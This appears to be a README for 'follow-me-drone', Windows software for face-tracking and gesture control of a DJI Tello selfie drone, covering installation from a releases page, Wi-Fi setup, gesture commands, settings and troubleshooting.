🚁 follow-me-drone - Selfie Drone with Face and Gesture Control

📝 About follow-me-drone

follow-me-drone is a small drone designed to follow you and take selfies automatically. It tracks your face and recognizes your hand gestures. This makes it easy to control without any remote or phone. It works with the DJI Tello drone and uses computer vision to keep you centered in the frame. The drone can also stabilize itself using its internal sensors.

💻 System Requirements

To run follow-me-drone on your Windows PC, make sure your system meets these minimum requirements:

• Windows 10 or newer (64-bit)
• Intel Core i3 processor or equivalent
• 4 GB RAM or more
• USB port (for connecting the drone controller if needed)
• Wi-Fi adapter (to connect to the drone)
• At least 2 GB free disk space
• A webcam or built-in camera is optional but can improve tracking setup

If you want smooth performance and better results, a newer processor and more RAM are recommended.

🚀 Getting Started

Follow these steps to download, install, and start using follow-me-drone on your Windows computer.

1. Download the software

Click the green button below to visit the release page, where you can download the latest Windows version of follow-me-drone.

On that page, look for a file with a name like follow-me-drone-setup.exe or similar ending in .exe. Download that file to your computer.

2. Install the program

After the download finishes:

• Open the .exe file by double-clicking it.
• Follow the on-screen prompts in the installer.
• Choose a folder to install the program (the default location usually works).
• Allow the installer to finish.

No additional software or programming skills are needed.

3. Prepare your DJI Tello drone

To control the drone with follow-me-drone, you need to connect it to your computer over Wi-Fi:

• Turn on your DJI Tello drone.
• On your Windows PC, open the Wi-Fi settings.
• Connect to the drone’s Wi-Fi network (called something like TELLO-XXXXXX).
• Once connected, make sure your PC stays connected to this network while using follow-me-drone.

4. Launch follow-me-drone

After installation:

• Open the follow-me-drone program from the Start menu or desktop shortcut.
• The main screen will show your webcam feed and drone status.
• Follow the on-screen instructions to start face tracking.
• Use simple hand gestures to control the drone’s movements.

🔧 How to Use Basic Controls

follow-me-drone uses your face and hand gestures to operate. Here are some common controls:

• Face tracking: The drone will follow your face and keep it centered automatically.
• Raise hand: The drone will hover in place.
• Wave hand left or right: The drone will move left or right.
• Show palm open: The drone will land safely.
• Thumbs up: The drone will take a photo.

You can practice these gestures in front of the webcam before flying. The program shows feedback to help you get it right.

🔄 Updating follow-me-drone

Check the GitHub releases page regularly to see if new versions are available. Each update will improve stability and may add features. To update:

• Download the newest .exe installer from the releases page.
• Run the installer, and it will replace the old version while keeping your settings.

⚙️ Settings and Customization

The program includes configurable options to improve your experience:

• Face tracking speed: Adjust how fast the drone reacts to your movements.
• Gesture sensitivity: Change how easily the program recognizes your hand signals.
• Camera settings: Choose between your webcam or an external camera for better tracking.
• Drone flight modes: Switch between beginner and expert control modes for different responsiveness.

You can access settings from the menu inside the program.

🛠 Troubleshooting

Here are solutions to common issues:

• Drone not connecting: Make sure your PC is connected to the drone’s Wi-Fi network. Restart both the drone and your PC if needed.
• Face tracking not working: Ensure you have good lighting and your face is visible to the camera. Restart the program if it freezes.
• Gestures not recognized: Check the webcam view to see if your hand is fully in the frame. Adjust the sensitivity in settings.
• Program crashes or freezes: Close the program and start it again. Update your graphics drivers and Windows system.

If problems persist, check the GitHub issues page for advice or to report bugs.

📁 File and Folder Structure

Once installed, follow-me-drone creates a folder with these important parts:

• config/ - Stores your settings and profiles.
• logs/ - Contains usage logs for troubleshooting.
• data/ - Saves photos taken by the drone.
• follow-me-drone.exe - The main program file.

You do not need to modify any files in these folders.

📞 Getting Help

You can get help or find updates on GitHub:

• Open the follow-me-drone GitHub page
• Go to the "Issues" tab to report problems or ask questions.
• Review the README and wiki for guides.

No programming knowledge is needed to use the software or ask for support.

⚡ Important Tips for Best Results

• Fly the drone in an open, outdoor space with good lighting.
• Keep your face visible and avoid quick sudden motions.
• Use a clear background for better face and gesture recognition.
• Ensure the drone battery is fully charged before flight.
• Keep the drone firmware updated through the DJI app if possible.

📥 Download follow-me-drone

Visit the release page to download the latest Windows installer: